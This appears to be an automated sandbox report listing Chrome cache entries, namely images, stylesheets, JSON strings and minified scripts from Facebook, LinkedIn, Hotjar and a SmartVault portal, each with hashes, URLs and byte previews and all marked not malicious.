SHA-256:	1A98F4DDBC581D30F9E947052075D7067DF17147792B96A18F5C865EEA7C707D
SHA-512:	347F9764F04601063CF471B41D1CC678CEE810CC5E663735E97B04D631ABAF3BB5CD7C04C22046FA584219C7BF1ACCE52CAF72A03AC50BE565E8CC15C96AD4EA
Malicious:	false
Reputation:	low
URL:	https://scontent-lga3-1.xx.fbcdn.net/v/t39.30808-6/432913958_982761573248796_5936599578752657612_n.jpg?stp=dst-jpg_s160x160&_nc_cat=106&ccb=1-7&_nc_sid=5f2048&_nc_ohc=KZPvj0YAcUQAb4zfexZ&_nc_ht=scontent-lga3-1.xx&oh=00_AfCtKT4Ml4ll6ZqExtUsLq_2FcMg_To2Fof-0JkATk8tFA&oe=661E013C
Preview:	......JFIF..............Photoshop 3.0.8BIM.......h..(.bFBMD0a000a6f010000f102000032050000bc0500007506000099090000760d0000f70d0000870e00003d0f000064150000....C.....................................%...#... , #&'))..-0-(0%()(...C...........(...((((((((((((((((((((((((((((((((((((((((((((((((((..........."...............................................................................>..M...\|.CQl..`........o...:..AN.@.. 9O2..D.L!...:......8._..K.%f....dl&.=.@.......HV.Hs..s...%oY.Z.F.=I $...H.\|.y~.O.+.-W.Y...ln.G1<.j..8.$...H.Y.T\|.W......C..f..vge...G1<N.Z.F.=I $.Q.'..i.+..k.Y8....Q.Y..]..cv:j..O..............\..9........m4...g.Y....fu..M/..E..M..FA_3...(x..z..!.g...y..'.:..].Lp..`...6........(.........................!13..02.. "$@.............&....!......6..u..[TJX<C.6.T{n#.;.....@Q..<..j...Rz..8o..r@..\|..p..Z.J.M.ML.L)...:.L.D..A..38E.#8..R....kT...rI.L....6@......:p.+....:Bd..+.N.E........o7....y..@.f.x..UmCy...V..SVT.@.C....Q.{.b:..b.a.....LB.....S.y..o7...

Chrome Cache Entry: 250

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Unicode text, UTF-8 (with BOM) text, with very long lines (2380), with no line terminators
Category:	downloaded
Size (bytes):	2383
Entropy (8bit):	5.607296741344907
Encrypted:	false
SSDEEP:	48:QLsBBWa5IqAg2Fsuq65AySk5EWxZcyeON:7WYd2pXBEQZcM
MD5:	3C34763BB5EE3EB5B7A9C83377C9C476
SHA1:	CAC8429DBB7503FA6DB2594224E536E963D2DBA6
SHA-256:	80BBEDCAE44786EC052C549DFDD3F5C077FD9B19626439FE504EBFE9C00F9D99
SHA-512:	896A95CA2538A29DD253BBB4C06010BD288A91E84BC813BE0B798E3267209962DC25032E00635AB0768E299418331DD73541167E5D9F7EF21AFD00D3571A7704
Malicious:	false
Reputation:	low
URL:	https://bfjfinancialgroup.smartvault.com/WebResource.axd?d=kT3oUtt9ldtztet0x1SHpMigeCJwT9b-N0txLQvmXO7DOXaqzuG3kTj7QwanK1tOFsbj_9PSJOsPL1CGtffCY2D0rljaaU_xX5eNZu92uroPihKNEHuuwKHrnIcQiJk_n4pA-3dX4BOcBGJzUvG7hTcuLJ41&t=636899829820000000
Preview:	..RadToolTip_Hay.rtLoading{background:url('WebResource.axd?d=QtlDqkunJ3JXrWM-HgUMeyO1iiI0bC1KFchBhyoipTE4zT375EZfPDX81cv7EgWMDG5Q4f8sYfXjWnFXWLaWIMxBG2FwOWboYT2XRQKCJHFgDcYeD0KAlYNjSlkk4ov97oV7rXPQ__6SK6drwtMUi5wa3uI1&t=636899829820000000') no-repeat center}.RadToolTip_Hay .rtWrapper .rtWrapperTopLeft,.RadToolTip_Hay .rtWrapper .rtWrapperTopRight,.RadToolTip_Hay .rtWrapper .rtWrapperBottomLeft,.RadToolTip_Hay .rtWrapper .rtWrapperBottomRight,.RadToolTip_Hay .rtWrapper .rtWrapperTopCenter,.RadToolTip_Hay .rtWrapper .rtWrapperBottomCenter,.RadToolTip_Hay table.rtShadow .rtWrapperTopLeft,.RadToolTip_Hay table.rtShadow .rtWrapperTopRight,.RadToolTip_Hay table.rtShadow .rtWrapperBottomLeft,.RadToolTip_Hay table.rtShadow .rtWrapperBottomRight,.RadToolTip_Hay table.rtShadow .rtWrapperTopCenter,.RadToolTip_Hay table.rtShadow .rtWrapperBottomCenter,.RadToolTip_Hay .rtCloseButton{background-image:url('WebResource.axd?d=wZhGUQaatONcVYolShrbuz_Nj9kBFPMEZSei-QFVl0rDsxlVqVTETtZAIso129C5n9PeDakgzKm

Chrome Cache Entry: 251

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	8295
Entropy (8bit):	4.834713948977264
Encrypted:	false
SSDEEP:	192:VW7ICnrPANW8Z3OmXHQ0ZQkvSOz6mp6XzKUAKb+S5M3tmZb+S5M3tK:8AU03OCHQMQkvSOz6mpYPj
MD5:	29203AC8BAFE53CF5510503D316D37AE
SHA1:	A4F8A43D96F9BD271AFCA85C69316EFB278FEB0C
SHA-256:	7B6BF1EA5A830ABA6C03B65CA072342338EC86D5E6E53138EF1A4D9974078010
SHA-512:	22FC4FE0CF30ECB4D7FED570BC38C549DBF83FDC0E4D1B7CD45080899A22100CEBC51F73F1CE7C771DE14BFAA9B159B17E6607AFCA0088BD5C7E69126C9B9D31
Malicious:	false
Reputation:	low
Preview:	{. "home": {. "title": "BrokerCheck - Find a broker, investment or financial advisor". },. "scope": {. "firm": {. "broker": "Brokerage Firm",. "broker-abbr": "B",. "ia": "Investment Adviser Firm",. "ia-abbr": "IA",. "previous-broker": "Previously Registered Brokerage Firm",. "previous-broker-abbr": "PR",. "previous-ia": "Previously Registered Investment Adviser Firm",. "previous-ia-abbr": "PR",. "broker-ia": "Brokerage & IA". },. "individual": {. "broker": "Broker",. "broker-abbr": "B",. "ia": "Investment Adviser",. "ia-abbr": "IA",. "previous-broker": "Previously Registered Broker",. "previous-broker-abbr": "PR",. "previous-ia": "Previously Registered Investment Adviser",. "previous-ia-abbr": "PR",. "broker-ia": "Broker & IA". }. },. "sanctions": {. "FINRA_BAR_ALL_MESSAGE": "FINRA has barred this individual from acting as a broker or otherwise associating with a broker-deal

Chrome Cache Entry: 252

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (2898)
Category:	downloaded
Size (bytes):	13582
Entropy (8bit):	5.361958073353655
Encrypted:	false
SSDEEP:	96:LMiUx/afAgms2SVo9opxjopPQaKEOINIbHfqy/OaRb28mgLjbt6f5:+pa4Oo9opxjopPQ0rNA/qy/OaF2ot4
MD5:	399FA161FE3E1740CB03136B73C82000
SHA1:	8FAABFD05941B4552773E91E36150B28BDACFF9B
SHA-256:	7DAC019540076F89B97F19896327868AF5E9AE91692515B4BAAFA7795322C930
SHA-512:	51061B55CC03857A3CB75598EE5C794019C93D816EB41FC4B3847CDF6245FF3CA30A29D2E5840B7120424C2A4C7C7DC018E60EA346FC5FF184826F81A4366CCA
Malicious:	false
Reputation:	low
URL:	https://static.xx.fbcdn.net/rsrc.php/v3/ye/r/8YRrA8ys0pS.js?_nc_x=Ij3Wp8lg5Kz
Preview:	;/FB_PKG_DELIM/..__d("ProfileCometAboutAppSectionQuery_facebookRelayOperation",[],(function(a,b,c,d,e,f){e.exports="8224923394201176"}),null);.__d("ProfileCometAboutAppSectionQuery$Parameters",["CometUFIReactionsEnableShortName.relayprovider","ProfileCometAboutAppSectionQuery_facebookRelayOperation"],(function(a,b,c,d,e,f){"use strict";a={kind:"PreloadableConcreteRequest",params:{id:b("ProfileCometAboutAppSectionQuery_facebookRelayOperation"),metadata:{},name:"ProfileCometAboutAppSectionQuery",operationKind:"query",text:null,providedVariables:{__relay_internal__pv__CometUFIReactionsEnableShortNamerelayprovider:b("CometUFIReactionsEnableShortName.relayprovider")}}};e.exports=a}),null);.__d("ProfileCometTopAppSectionQuery_facebookRelayOperation",[],(function(a,b,c,d,e,f){e.exports="7268610516540860"}),null);.__d("ProfileCometTopAppSectionQuery$Parameters",["CometUFIReactionsEnableShortName.relayprovider","ProfileCometTopAppSectionQuery_facebookRelayOperation"],(function(a,b,c,d,e,f){"u

Chrome Cache Entry: 253

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (11052)
Category:	downloaded
Size (bytes):	74635
Entropy (8bit):	5.560795666054563
Encrypted:	false
SSDEEP:	1536:u9fyfq0tR7LP9hw8MDgJDGPTO7mIfyYqlC:gyfD7LPzwMATBzE
MD5:	275EC59BB2DF338538B899A04896F91C
SHA1:	3595E4CF8ABCC90BF47FFEFFC89D650D5B1FC431
SHA-256:	72AB0260FB5EE136805B9AFDEBFF37F83D814A1E8DC8E97B0469FF0299CB9F39
SHA-512:	B371923DEA5A1FF42F98A388929D45E9E53FA2DEFFFB4620F3BADE85D200EEA36EB1B29F9277E4C317D023887E2A22AB90B71F7DED3CE20E13E42CB683FE82EC
Malicious:	false
Reputation:	low
URL:	https://static.xx.fbcdn.net/rsrc.php/v3ijbW4/yT/l/en_US/eF3LwptUque.js?_nc_x=Ij3Wp8lg5Kz
Preview:	;/FB_PKG_DELIM/..__d("CometImageFromIXValueRelayWrapper_sprite.graphql",[],(function(a,b,c,d,e,f){"use strict";a={argumentDefinitions:[],kind:"Fragment",metadata:null,name:"CometImageFromIXValueRelayWrapper_sprite",selections:[{alias:null,args:null,kind:"ScalarField",name:"sprited",storageKey:null},{alias:null,args:null,kind:"ScalarField",name:"sprite_map_css_class",storageKey:null},{alias:null,args:null,kind:"ScalarField",name:"sprite_css_class",storageKey:null},{alias:null,args:null,kind:"ScalarField",name:"preloading_spi",storageKey:null},{alias:null,args:null,kind:"ScalarField",name:"w",storageKey:null},{alias:null,args:null,kind:"ScalarField",name:"h",storageKey:null},{alias:null,args:null,kind:"ScalarField",name:"p",storageKey:null},{alias:null,args:null,kind:"ScalarField",name:"sz",storageKey:null},{alias:null,args:null,kind:"ScalarField",name:"spi",storageKey:null},{alias:null,args:null,kind:"ScalarField",name:"uri",storageKey:null},{alias:null,args:null,kind:"ScalarField",na

Chrome Cache Entry: 254

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65466)
Category:	downloaded
Size (bytes):	857086
Entropy (8bit):	5.493004676525697
Encrypted:	false
SSDEEP:	6144:UJDqXmg7Duz3Q+kIivq0Bdh1V3QIb9J7H9jPmTAoVfYl5vc3ZjZnCK8rnJ3aV6d8:ODkoz3nZiqQprmcoZH3ZNCrrHbKbagb
MD5:	5C5BC2CD58394C92202098F2AEB33330
SHA1:	6A822668E41B045E151D712DD24191602432CEE9
SHA-256:	FCDF107CF45FCEFFC1562956AB34585C495798D82C713C3A0E8EEA0E19BC8AD2
SHA-512:	D6CEF6B77FFA50351CC50219D08F8AE6A73856CAD16E27DB89C6A85A68FCACD8FC70DEDEE4F9564F9C855B138E88EAED70490F3DF2821E4D0430A150DEB1C031
Malicious:	false
Reputation:	low
URL:	https://static.licdn.com/aero-v1/sc/h/5gubp03vhsghua5ctxt9v18a8
Preview:	/! For license information please see authWallInit.js.LICENSE.txt /.(()=>{"use strict";var e={};function t(e,t){if(!e)return null;let n=e.matches\|\|e.webkitMatchesSelector\|\|e.mozMatchesSelector\|\|e.msMatchesSelector;for(;e&&!n.call(e,t);)e=e.parentElement;return e}function n(e){"complete"===document.readyState?e():window.addEventListener("load",()=>{setTimeout(e)})}e.g=function(){if("object"==typeof globalThis)return globalThis;try{return this\|\|new Function("return this")()}catch(e){if("object"==typeof window)return window}}();class i{constructor(){this._unloadCallbacks=[],this._initEventListener()}_initEventListener(){window.addEventListener("beforeunload",e=>{for(let t=0;t<this._unloadCallbacks.length;t++){if(!1===this._unloadCallbacks[t].call(null,e))break}})}addUnloadCallback(e){e instanceof Function&&this._unloadCallbacks.push(e)}}const r=function(){let e;return{getInstance:function(){return e\|\|(e=new i),e}}}();class o{constructor(){this._pagehideCallbacks=[],this._initEventListen

Chrome Cache Entry: 255

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (4920)
Category:	downloaded
Size (bytes):	721583
Entropy (8bit):	5.5404850907731475
Encrypted:	false
SSDEEP:	6144:xRj85/MBR7/STDoc5BzC+2K7TXhLPGMZpCXCKR+HTZPLVs39gTF:Q6O7+BKjVbx
MD5:	B7802B7FF3BCC66E21B2A122300531F7
SHA1:	041BCCC02DE7EFB7499F69B97DFDA43C341A6FDF
SHA-256:	CA5886D74BF90D56A692A028F423AC371D0D4DBC573D3E27A4443876F1459607
SHA-512:	328429880080CF4AB2561ACF411188AC999412406638C3F3C291DC9C3F42957130959C51BC9611F645B23C79CAA0FBBBB8FD2CCD0056304C1CF21CDA86203497
Malicious:	false
Reputation:	low
URL:	https://static.xx.fbcdn.net/rsrc.php/v3iN7c4/yv/l/en_US/dEY5RMcLccpsR2PQH4woE5w1ZqVVdX_rPk8WPCHwbr_YQzOjQ18M7Ra12N9NG_IRRaTGo7odb2I9QML-m_DiQrfXHMMUHG7qZPnqfYvfDE_D-SyXAHDe0i-84LGpgtjOXUJ-VAblIutlJuDgtkY4r4Ezzwkp8GwrOMn7m1Rdzuzi16ygGc1wa-Oq19cr_l1DuzAtWVDh4cn1CMxub3y91qmloYqX_eJMlvvhSHqgFRlCsGN0FHzi95_wmB-51YxoStyBz2gE2pEQn4HVER6.js?_nc_x=Ij3Wp8lg5Kz
Preview:	;/FB_PKG_DELIM/..__d("CometLogInHiddenInputs_data.graphql",[],(function(a,b,c,d,e,f){"use strict";a=function(){var a=[{alias:null,args:null,kind:"ScalarField",name:"name",storageKey:null},{alias:null,args:null,kind:"ScalarField",name:"value",storageKey:null}];return{argumentDefinitions:[],kind:"Fragment",metadata:null,name:"CometLogInHiddenInputs_data",selections:[{alias:null,args:null,kind:"ScalarField",name:"prefill_contactpoint",storageKey:null},{alias:null,args:null,kind:"ScalarField",name:"prefill_source",storageKey:null},{alias:null,args:null,kind:"ScalarField",name:"idd_user_crypted_uid",storageKey:null},{alias:null,args:null,kind:"ScalarField",name:"locale",storageKey:null},{alias:null,args:null,concreteType:"LoginNameValue",kind:"LinkedField",name:"lsd",plural:!1,selections:a,storageKey:null},{alias:null,args:null,concreteType:"LoginNameValue",kind:"LinkedField",name:"jazoest",plural:!1,selections:a,storageKey:null},{alias:null,args:null,kind:"ScalarField",name:"login_source

Chrome Cache Entry: 256

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65299), with CRLF line terminators
Category:	downloaded
Size (bytes):	366811
Entropy (8bit):	5.336573137917854
Encrypted:	false
SSDEEP:	3072:4GLXGFKT79DSs6WFMM8CSZTIeCgY/SYBzXY0hGZYZ3zD1LOSznOFz1RSXuAG7k4u:aF49DrqiekhzZnVnOlS+d7k4KxXnaFO
MD5:	8D35F4582E134BFD969EFCFA4B87D2B8
SHA1:	AA64B4564D0382FB6DF9D7E944F7F736305E09C3
SHA-256:	FBEF17BDCE10958176F2005159262F780DAB80D4A6C6FFD14963CC85CDD0E047
SHA-512:	A0B9C65D8151BAF0B570F134F4F27E94739E24E46CB65D2F870D99481AA741AE20F76DC4B37059B5F5BBC05227D7A75870C41DD51983D141E9C7D4EC7FDECA42
Malicious:	false
Reputation:	low
URL:	https://bfjfinancialgroup.smartvault.com/Telerik.Web.UI.WebResource.axd?_TSM_HiddenField_=ctl00_RadScriptManager1_TSM&compress=0&_TSM_CombinedScripts_=%3b%3bSystem.Web.Extensions%2c+Version%3d4.0.0.0%2c+Culture%3dneutral%2c+PublicKeyToken%3d31bf3856ad364e35%3aen-US%3a59e0a739-153b-40bd-883f-4e212fc43305%3aea597d4b%3ab25378d2%3bTelerik.Web.UI%3aen-US%3acb530d55-8eee-4e6c-b719-fe87cff73af8%3a16e4e7cd%3a365331c3%3a24ee1bba%3ab7778d6c%3af46195d3%3a19620875%3a874f8ea2%3a39040b5c%3af85f9819
Preview:	/* START MicrosoftAjax.js */..//----------------------------------------------------------..// Copyright (C) Microsoft Corporation. All rights reserved...//----------------------------------------------------------..// MicrosoftAjax.js..Function.__typeName="Function";Function.__class=true;Function.createCallback=function(b,a){return function(){var e=arguments.length;if(e>0){var d=[];for(var c=0;c<e;c++)d[c]=arguments[c];d[e]=a;return b.apply(this,d)}return b.call(this,a)}};Function.createDelegate=function(a,b){return function(){return b.apply(a,arguments)}};Function.emptyFunction=Function.emptyMethod=function(){};Function.validateParameters=function(c,b,a){return Function._validateParams(c,b,a)};Function._validateParams=function(g,e,c){var a,d=e.length;c=c\|\|typeof c==="undefined";a=Function._validateParameterCount(g,e,c);if(a){a.popStackFrame();return a}for(var b=0,i=g.length;b<i;b++){var f=e[Math.min(b,d-1)],h=f.name;if(f.parameterArray)h+="["+(b-d+1)+"]";else if(!c&&b>=d)break;a=Func

Chrome Cache Entry: 257

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Unicode text, UTF-8 text, with very long lines (23653), with no line terminators
Category:	downloaded
Size (bytes):	23654
Entropy (8bit):	5.358059705968066
Encrypted:	false
SSDEEP:	384:gS7Uw4gbNAFN75TS3BZs7hbPzJjqPXyzMZYFIXRjylXHQXSwwCS4YguQ6QYTXkqh:1Uw4gbNAFN71S3nwhbPzJjqPXyzMVXEH
MD5:	BB0C5765D7835C1338ADBBF4DFE7860B
SHA1:	6EEC2DBAE6B9F08B64F2AF8FDCFAD5C56F140607
SHA-256:	FECE985E8648556010B3789311FCE0974C1A6412C1109D331747E8C5FF02126F
SHA-512:	5E27B6CD210D3CC533239EB2F5FBE16A65834E9CAD5C14410D494C57BEFE028111B9E60D1F221E43E661BDCB23BD33CB152A8D176D6AF5C0506B9201D2FBD279
Malicious:	false
Reputation:	low
URL:	https://smartvault.ada.support/embed/x-storage/e540f3c/index.js
Preview:	!function(){var t,e={2740:function(t,e){"use strict";var n=this&&this.__assign\|\|function(){return n=Object.assign\|\|function(t){for(var e,n=1,r=arguments.length;n<r;n++)for(var o in e=arguments[n])Object.prototype.hasOwnProperty.call(e,o)&&(t[o]=e[o]);return t},n.apply(this,arguments)};e.__esModule=!0,e.createStorage=void 0;var r="Cannot access Web Storage API";e.createStorage=function(t){var e;try{e="local"===t?localStorage:sessionStorage}catch(t){console.warn(r)}var o={setItem:function(t,n){try{e.setItem(t,JSON.stringify(n))}catch(t){console.warn(r)}},getItem:function(t){try{var n=e.getItem(t);return n&&JSON.parse(n)}catch(t){return console.warn(r),null}},removeItem:function(t){try{e.removeItem(t)}catch(t){console.warn(r)}},clear:function(){try{e.clear()}catch(t){console.warn(r)}},setFnItem:function(t,e){var r,i=o.getItem("ada-functional-storage")\|\|{},a=n(n({},i),((r={})[t]=e,r));o.setItem("ada-functional-storage",a)},getFnItem:function(t){var e=o.getItem("ada-functional-storage");ret

Chrome Cache Entry: 258

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows icon resource - 3 icons, 16x16, 32 bits/pixel, 32x32, 32 bits/pixel
Category:	dropped
Size (bytes):	15406
Entropy (8bit):	3.916006719851072
Encrypted:	false
SSDEEP:	384:ZGi4tU0BIYZIZCgS7FYlsZTqP3BXbhwpMrX:ZGpG3BXbhzX
MD5:	FF7C40F109296370D6AEEBAD56B40F08
SHA1:	17957E45441D8980514C12DF9395F78B912CE01F
SHA-256:	5D1460B7576BC76EFE4DA1E985D8B18B6BE08FF7ABFCDE00BA285B163FA185F4
SHA-512:	7469A356C24D396A3C30AEB8CF2F54664C2A6B9BB7C00B59256CFA85731B3FB8E972FACB7B4E111C62C7FAD283CAE51F608CEA78F76AD8A183A8FBB2F80EE02D
Malicious:	false
Reputation:	low
Preview:	............ .h...6... .... .(.......00.... .h&......(....... ..... .............................U.U.^.{.].zX^.{._.{.^.{.[.{8................................\.xS`.\|.^.{.^.z._.{._.{._.{.^.z.].{M^.z.^.z.^.z.^.z.^.{.].y.Z.{._.{._.{._.{._.{._.{._.{._.{.^.z.].{M^.z.^.z.^.z.^.z.^.{._.{.^.z._.{._.{._.{._.{._.{._.{._.{.^.z.[.w-^.{l^.{l^.{l^.zd^.y.^.z.^.z._.{._.{._.{._.{.^.{._.z._.{.^.z.].{h_.{._.{._.{.^.z._.zC^.y._.{._.{._.{._.{.^.z.].xB_.z._.{.^.z.].{U^.z.^.z.^.{.^.z.\.zE^.y._.{._.{._.{._.{._.{.Y.w+_.{._.{.^.z.^.z.^.zo^.zo^.{.^.{.\.zE^.y._.{._.{._.{._.{.^.y.^.{._.{._.{.^.z.`.zE_.z._.z._.{.^.{.\.zE^.y._.{._.z.].\|J].{p_.zy^.z.^.z._.{.^.z.`.zE_.z._.z._.{.^.{.\.zE^.y._.{._.{.^.{.^.z._.{.Y.w+^.{._.{.^.z.\.w/].xq].xq].y._.z.\.zE^.y._.{._.{._.{._.{._.{.^.z.^.z}_.{.^.z.].{]^.z.^.z.^.{.^.z.[.x5^.y._.{._.{._.{._.{._.{._.z._.{._.{.^.z.].{h_.{._.{.^.z.].{.`.p.^.y._.{._.{._.{._.{._.{._.{._.{._.{.^.z._.\|#^.yT^.yTa.z2M......._.z._.{._.{._.{._.{._.{._.{._.{._.{.^.z.\.y=].z.].z.].z.].z.^.z._.{._.z._.\|._.{.^.

Chrome Cache Entry: 259

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 10 x 10, 8-bit/color RGB, non-interlaced
Category:	downloaded
Size (bytes):	79
Entropy (8bit):	4.71696959175789
Encrypted:	false
SSDEEP:	3:yionv//thPlH1tnt/tAhHGZscm1olkqCwbp:6v/lhP6hHDcZCYp
MD5:	8DC258A49B60FAE051E9A7CE11AD05CF
SHA1:	DAFEF280663F4205FC7F0E47799E9945E6A68D6D
SHA-256:	C8CAED93847AFFC154CB3D424E34FC146E7340BB29ABEBD5EBA7063E3DCA0604
SHA-512:	5F11ED60D79A80EF7CCEFFA907CD55F31D8DB19BD2A7F4C2650C62A355C5071C5FB61DA1EB0A2071CE22ECDC35C0D12F51E4D13AAC3B0FDB95ED4629815B5AFB
Malicious:	false
Reputation:	low
URL:	https://scontent.xx.fbcdn.net/hads-ak-prn2/1487645_6012475414660_1439393861_n.png
Preview:	.PNG........IHDR..............PX.....IDAT.Wc...0a.!..)....A,....Zl....IEND.B`.

Chrome Cache Entry: 260

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, JFIF standard 1.01, aspect ratio, density 1x1, segment length 16, progressive, precision 8, 159x160, components 3
Category:	dropped
Size (bytes):	5476
Entropy (8bit):	7.8146254728880145
Encrypted:	false
SSDEEP:	96:A5DBm5XJurnLX5j9iJfKgmqDxn7IQ6nng3ptXHvEH8uX3LI25n/3izXVTXWVn:+BC5uXXF9EfKgmMxn8Fng3p9HcHHIE3d
MD5:	8600F4C6E3D141A5F61387C185188A3D
SHA1:	F9EE92D066C27195359113D1529F35C6FD1238D4
SHA-256:	1A98F4DDBC581D30F9E947052075D7067DF17147792B96A18F5C865EEA7C707D
SHA-512:	347F9764F04601063CF471B41D1CC678CEE810CC5E663735E97B04D631ABAF3BB5CD7C04C22046FA584219C7BF1ACCE52CAF72A03AC50BE565E8CC15C96AD4EA
Malicious:	false
Reputation:	low
Preview:	......JFIF..............Photoshop 3.0.8BIM.......h..(.bFBMD0a000a6f010000f102000032050000bc0500007506000099090000760d0000f70d0000870e00003d0f000064150000....C.....................................%...#... , #&'))..-0-(0%()(...C...........(...((((((((((((((((((((((((((((((((((((((((((((((((((..........."...............................................................................>..M...\|.CQl..`........o...:..AN.@.. 9O2..D.L!...:......8._..K.%f....dl&.=.@.......HV.Hs..s...%oY.Z.F.=I $...H.\|.y~.O.+.-W.Y...ln.G1<.j..8.$...H.Y.T\|.W......C..f..vge...G1<N.Z.F.=I $.Q.'..i.+..k.Y8....Q.Y..]..cv:j..O..............\..9........m4...g.Y....fu..M/..E..M..FA_3...(x..z..!.g...y..'.:..].Lp..`...6........(.........................!13..02.. "$@.............&....!......6..u..[TJX<C.6.T{n#.;.....@Q..<..j...Rz..8o..r@..\|..p..Z.J.M.ML.L)...:.L.D..A..38E.#8..R....kT...rI.L....6@......:p.+....:Bd..+.N.E........o7....y..@.f.x..UmCy...V..SVT.@.C....Q.{.b:..b.a.....LB.....S.y..o7...

Chrome Cache Entry: 261

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65450)
Category:	downloaded
Size (bytes):	226211
Entropy (8bit):	5.379232357747267
Encrypted:	false
SSDEEP:	3072:nhwvwD82w8dix0Dvz6FkvYPUa3FmBRDYi:nhwvwi8ExwrokbaQbDYi
MD5:	82C928EB184B2CE235902634D808A4FC
SHA1:	7297E763CB394CE3889828DB4589AB5DB5735459
SHA-256:	FA8CABE3021C19BA54E07D28A7722CD4BFDEF39DEA07207518113F7E161166BB
SHA-512:	A7DE53B8B22B4942B3A7C26FC1DB2FE5B6438931A5300C2F9834D81D1C5FF0944785666402BDC382EB555F4E2658591D1807C51097064F2E9C5AD083383B4D4E
Malicious:	false
Reputation:	low
URL:	https://script.hotjar.com/modules.429236d560f51d186b8b.js
Preview:	/! For license information please see modules.429236d560f51d186b8b.js.LICENSE.txt /.!function(){var e={4788:function(e,t,n){"use strict";n.d(t,{s:function(){return r}});const r=Object.freeze({IDENTIFY_USER:"identify_user",AUTOTAG_RECORDING:"autotag_recording",TAG_RECORDING:"tag_recording",HEATMAP_HELO:"heatmap_helo",RECORDING_HELO:"recording_helo",REPORT_USER_ID:"report_user_id",MUTATION:"mutation",MOUSE_CLICK:"mouse_click",INPUT_CHOICE_CHANGE:"input_choice_change",KEY_PRESS:"key_press",MOUSE_MOVE:"mouse_move",RELATIVE_MOUSE_MOVE:"relative_mouse_move",CLIPBOARD:"clipboard",PAGE_VISIBILITY:"page_visibility",SCROLL_REACH:"scroll_reach",SCROLL:"scroll",SELECT_CHANGE:"select_change",VIEWPORT_RESIZE:"viewport_resize",SCRIPT_PERFORMANCE:"script_performance",REPORT_CONTENT:"report_content",INSERTED_RULE:"inserted_rule",DELETED_RULE:"deleted_rule"})},6939:function(e,t,n){"use strict";n.d(t,{f:function(){return f},W:function(){return g}});const r=Object.freeze({LIVE:"LIVE",REVIEW_WEBAPP:"REVI

Chrome Cache Entry: 262

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 28 x 28, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	1836
Entropy (8bit):	7.33489705303095
Encrypted:	false
SSDEEP:	48:g1uNn2vVJ3TX7TwulV6stgAS9vY3cGz+o4aR:p2PL76s2H9vYLP42
MD5:	AA582858D8D8169CDD903CF0951D3750
SHA1:	4D933DCA77682CC005D905C033CD55A6092C04FB
SHA-256:	6C1AC45F9CC20BC2AEA55AE6823953570A7194F6DDD81B67A4F2DCB928200AA8
SHA-512:	AD629D231F0603949164BC0F13CB09CAC12993AE439131F7197BCEFB6F001653CDABE9B754C36F18D223B6A920139133272D0142E44EC5D702F1784C47B8BD6B
Malicious:	false
Reputation:	low
URL:	https://www.bfjfinancial.com/wp-content/uploads/2018/02/facebook-28.png
Preview:	.PNG........IHDR.............r......tEXtSoftware.Adobe ImageReadyq.e<...&iTXtXML:com.adobe.xmp.....<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.6-c067 79.157747, 2015/03/30-23:40:42 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmp:CreatorTool="Adobe Photoshop CC 2015 (Windows)" xmpMM:InstanceID="xmp.iid:AEDEEFE91B9F11E8A77F8609C544BD5A" xmpMM:DocumentID="xmp.did:AEDEEFEA1B9F11E8A77F8609C544BD5A"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:AEDEEFE71B9F11E8A77F8609C544BD5A" stRef:documentID="xmp.did:AEDEEFE81B9F11E8A77F8609C544BD5A"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>..^C....IDATx..[H.Q....z75...(.(..\|..{.n.XA.E.....\|(K....*.....H....=ty.E.f....9......;3..}..9g.?.9..(..:.

Chrome Cache Entry: 263

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, JFIF standard 1.01, aspect ratio, density 1x1, segment length 16, progressive, precision 8, 321x80, components 3
Category:	dropped
Size (bytes):	1036
Entropy (8bit):	5.765315649295521
Encrypted:	false
SSDEEP:	24:gqVDOeVyc1spsWKKMBODAkmgkXYsukmLkKGmKrC:gQOyyiWpVDAk/kI3k0kK6C
MD5:	C5182823C739B09045F83030DF743B2F
SHA1:	2D95FF249A5F0ED97A8697285B396BA48CD93F33
SHA-256:	8C08504F4BE9E469A6DE93C50EA1293C483D7043A449698840045D0CD2F92EEC
SHA-512:	7E3F5523987CB405C3C56ABE8EF86C5246084826CB675C9A9FF2632EAB6B94E3F87B143764921167A1350B9B814B24E2C25E44DE4885FFA57C0DC052030805A8
Malicious:	false
Reputation:	low
